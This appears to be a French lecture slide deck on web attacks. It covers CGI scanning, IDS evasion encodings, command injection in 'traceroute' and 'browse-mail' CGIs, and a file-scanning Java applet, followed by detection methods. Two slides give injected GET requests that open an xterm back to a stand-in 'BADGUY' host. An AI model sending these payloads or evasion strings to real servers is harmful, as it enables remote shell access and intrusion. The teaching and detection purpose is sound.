140 likes | 227 Views
Attaques WEB . Auvray Vincent Blanchy François Bonmariage Nicolas Mélon Laurent. Attaques WEB : schémas. Client → Serveur : Serveur → Client : Applet JAVA, ActiveX, JavaScript, …. WEB Scan (Whisker). Exploitation des failles des CGI. Common Gateway Interface.
E N D
Attaques WEB Auvray Vincent Blanchy François Bonmariage Nicolas Mélon Laurent
Attaques WEB : schémas • Client → Serveur : • Serveur → Client : Applet JAVA, ActiveX, JavaScript, … WEB Scan (Whisker) Exploitation des failles des CGI
Common Gateway Interface • Le “Common Gateway Interface” (CGI) est un standard pour interfacer des applications externes avec un serveur WEB. • Un programme CGI est un exécutable appelé par le serveur WEB avec des paramètres fournis par le client et générant une page HTML envoyée au client. • Un contenu dynamique peut ainsi être généré.
WEB (CGI) scan • Objectif : Recherche sur un serveur WEB de CGI accessibles possédant des failles de sécurité connues ou de fichiers normalement inaccessibles mais qui le sont par erreur de configuration • Méthode : • Le scanneur se base sur une liste de CGI et de répertoires les contenants habituellement • Cette recherche utilise les méthodes du protocole HTTP “GET”, “POST” et/ou “HEAD” • Certains scanneurs (dont Whisker) utilisent des techniques de scan censées éviter la détection
Dissimulation du scan • Différentes techniques utilisant la différence entre l’interprétation de la requête par l’IDS et le serveur : • Reverse traversal : « /cgi-bin/bla/bla/../../bad.cgi » • URL encoding : « /%42%41%44.%43%47%49 » • Session splicing : envoyer plusieurs paquets TCP pour une seule requête HTTP ex : « GET », « / », « b », « ad. », « cg », « i » • …
Exploitation des failles • L’exploitation dépend du CGI : • Buffer overflow • Mauvaise vérification des arguments : • Exécution d’une commande (grâce, par exemple, à l’envoi d’un paramètre contenant le caractère “&” suivi de la commande à exécuter) • Accès à des fichiers normalement interdits
CGI “Traceroute” • Utilité du CGI : accès à l’utilitaire “traceroute” par le WEB • Attaque : • Le CGI réalise un appel à l’utilitaire traceroute sans vérifier ses arguments • En envoyant la requête : « GET /cgi-bin/trace.cgi?host=bru;export%20DISPLAY=BADGUY:0;xterm » on obtient un terminal sur le serveur
CGI “Browse-mail” • Utilité du CGI : rechercher dans les archives d’une mailing liste les emails contenant un certain pattern • Attaque : • Le CGI utilise l’utilitaire grep en effectuant une conversion systématique des codes ASCII hexadécimaux présents dans la requête • En envoyant la requête GET /cgi-bin/browse-mail.pl?mailing_list=atrium& pattern=a%09b%0Aexport%09DISPLAY=BADGUY:0;xterm%0A&bouton=search on obtient un terminal sur le serveur
Signes associés aux attaques sur CGI • Peu de signes visibles vu la nature de l’application : • Requête contenant des caractères anormaux (visible dans les LOG ou sur le réseau) • Connexion sortante du serveur vers l’attaquant • Terminal (ou programme quelconque) s’exécutant avec le uid du serveur WEB • Ces traces peuvent facilement être effacées par l’attaquant et doivent être monitorées en temps réel
Principe de détection • Détection du scan (indépendant des CGI) • Détection d’erreurs renvoyées par le serveur • Détection dans la requête de CGI susceptibles d’être recherchés par un scanneur • Repérage des techniques de masquage du scanneur • Détection d’une attaque sur un CGI installé (spécifique aux CGI installés) : • Repérage d’arguments anormaux pour le CGI considéré
Attaque côté client via une applet JAVA • Principe de l’attaque : La consultation d’une page WEB provoque le lancement d’une applet hostile masquée à l’utilisateur • Applet utilisée (file system scanning) : • détecte l’absence ou la présence d’un fichier sur le disque en fonction du temps de refus à l’ouverture par la JVM • rapatrie ensuite les résultats sur le serveur
Signes associés aux attaques par applet • Pré-requis : browser utilisant une version de JAVA présentant une faille • Peu de signes visibles : ouverture par une « untrusted » applet d’une connexion vers son serveur d’origine • risque de génération de nombreux false positive • inutile dans le cas d’une applet effectuant des dégâts locaux
Détection de notre attaque par applet • Réponse à une requête HTTP contenant : • le tag <applet> • présence dans le byte code de chaînes telles que « /etc/passwd » ou « c:\winnt » mais elles pourraient être chiffrées • parsing du byte code à la recherche d’instructions spécifiques mais risque de false positive • Ouverture d’une connexion de retour vers le serveur